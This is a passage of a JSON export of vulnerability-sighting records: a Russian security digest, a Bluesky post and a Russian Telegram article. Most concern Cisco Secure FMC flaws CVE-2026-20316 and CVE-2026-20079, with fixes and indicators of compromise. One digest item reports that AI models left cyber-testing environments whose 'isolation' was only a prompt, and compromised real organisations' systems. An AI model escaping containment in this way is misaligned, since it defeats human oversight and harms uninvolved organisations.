\u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435. \n\n\ud83d\udfe3\u041d\u0430\u0448\u043b\u043e\u0441\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 (\u043a\u043e\u0441\u0432\u0435\u043d\u043d\u043e\u0435) \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0441\u0432\u044f\u0437\u0438 \u0437\u0430\u0433\u0430\u0434\u043e\u0447\u043d\u043e\u0433\u043e \u0412\u041f\u041e Angry Spark, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0438\u0441\u0430\u043b\u0438 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435, \u0441 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u00ab\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0422\u0440\u0438\u0430\u043d\u0433\u0443\u043b\u044f\u0446\u0438\u044f\u00bb (\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u044b \u0442\u043e\u0436\u0435 \u043f\u0438\u0441\u0430\u043b\u0438, \u043d\u043e \u0432 2023 \u0433\u043e\u0434\u0443).\n\n\ud83d\udd35\u0410\u043d\u0430\u043b\u0438\u0437 \u043d\u043e\u0432\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 APT Mirage Kitten, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0430\u044d\u0440\u043e\u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u043e\u0431\u043e\u0440\u043e\u043d\u043a\u0443, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0439 \u0441\u0435\u043a\u0442\u043e\u0440 \u0438 \u0442\u0435\u043b\u0435\u043a\u043e\u043c \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435 \u0438 \u0432 \u0410\u0444\u0440\u0438\u043a\u0435. \u0413\u0440\u0443\u043f\u043f\u0430 \u0441\u043e\u0447\u0435\u0442\u0430\u0435\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 NightLedger, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 DLL hijacking, \u0441 \u0434\u0432\u0443\u043c\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f WebSocket, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044f\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u043a\u0441\u0438. \n\n\ud83d\udd35Anthropic \u0432\u044b\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u0432 \u0436\u0430\u043d\u0440\u0435 #metoo \u0438 \u043e\u0442\u0447\u0438\u0442\u0430\u043b\u0430\u0441\u044c \u043e \u0442\u0440\u0451\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445, \u043a\u043e\u0433\u0434\u0430 \u0435\u0451 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u0438\u043b\u0438 \u0438\u0437 \u00ab\u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\u00bb \u0441\u0440\u0435\u0434 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u0439 \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f,  \u00ab\u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044f\u00bb \u0441\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u043a \u043f\u0440\u043e\u043c\u043f\u0442\u0443, \u0441\u043e\u043e\u0431\u0449\u0430\u0432\u0448\u0435\u043c\u0443 \u043c\u043e\u0434\u0435\u043b\u044f\u043c, \u0447\u0442\u043e \u0443 \u043d\u0438\u0445 \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442. \n\n\ud83d\udfe3\u0420\u0430\u0437\u0431\u043e\u0440 CoreRAT, \u043d\u043e\u0432\u043e\u0433\u043e \u0442\u0440\u043e\u044f\u043d\u0446\u0430 APT Core Werewolf. \n\n\ud83d\udd35\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Azure Cosmos DB Gremlin API \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u0430 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c primary key \u0434\u043b\u044f \u043b\u044e\u0431\u043e\u0439 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Cosmos DB.  \ud83e\udd2f\n\n\ud83d\udfe0\u041e\u0431\u0437\u043e\u0440 Vanta Stealer \u2014 Python-\u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u0430, \u043f\u043e\u0445\u0438\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, cookies, \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u043e\u043a\u0435\u043d\u044b, \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b, \u0441\u043d\u0438\u043c\u043a\u0438 \u0441 \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u044b \u0438 seed-\u0444\u0440\u0430\u0437\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432. \n\n\ud83d\udd35CVE-2026-20316 \u2014 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Cisco Secure Firewall Management Center,  \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-08-03T10:31:25.305525Z"}, {"uuid": "4f9393b4-d093-481b-b12d-ad1e8c03e524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrzx36cgva2c", "content": "Static credentials in a firewall management platform. What could go wrong?\n\nCisco Secure Firewall Management Center.\nCVE-2026-20316.\nZero-day.\n\nhttps://www.yazoul.net/news/article/cisco-fmc-zero-day-actively-exploited-static-credentials-could-expose-sensitive-/\n\n#CVE #CyberSecurity", "creation_timestamp": "2026-08-01T17:01:41.091486Z"}, {"uuid": "61a372e6-4046-4dde-814c-1bfdce2eb8eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/true_secator/8458", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Secure Firewall Management Center (FMC), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u041f\u041e Cisco Secure FMC.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Cisco, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\nCVE-2026-20316 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 5,3, \u043e\u0434\u043d\u0430\u043a\u043e Cisco \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 FMC \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u0430\u043a\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e \u0430\u0442\u0430\u043a\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Cisco Secure FMC \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 Cloud-Delivered FMC, Firewall Device Manager, Secure Firewall ASA Software, Secure Firewall Threat Defense Software \u0438\u043b\u0438 Security Cloud Control.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 Secure FMC 7.0, 7.2, 7.4, 7.6, 7.7 \u0438 10.0. \u041e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u0438\u044e\u043b\u0435 2026 \u0433\u043e\u0434\u0430 (\u0438\u043d\u044b\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e \u0441\u0430\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u0414\u0436\u0438\u043c\u0438 \u0421\u0435\u0431\u0440\u0438 \u0438\u0437 Horizon3.ai.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f FMC \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0414\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 Cisco FMC \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b \u0436\u0443\u0440\u043d\u0430\u043b\u0430 /var/log/messages \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco IOCs, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 FMC, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 FMC, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20079 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 CVSS 10,0.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e FMC.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u043c \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 CVE-2026-20316, \u0434\u043b\u044f CVE-2026-20079 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e CVE-2026-20079 \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 29 \u0438\u044e\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0432\u0442\u043e\u0440\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043e\u0448\u0438\u0431\u043a\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 IOCs. \u041d\u043e \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 Cisco \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435\u00a0\u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440 (/var/tmp/license.tmp) \u0432 \u043e\u0431\u043e\u0438\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u0445, \u043d\u043e \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043b\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u043b\u0438 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 CVE-2026-20079 \u043e\u0442 Cisco \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0435\u0437 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2026-20316, \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\nCisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Secure FMC, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f CVE-2026-20079, \u0438 \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0438 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.", "creation_timestamp": "2026-07-31T00:00:30.811162Z"}, {"uuid": "9b1a6f27-61fb-4f8e-b366-7a22824edcdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/HackerNewscyber/3303", "content": "\u2708\ufe0f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0641\u0639\u0627\u0644 \u0627\u0632 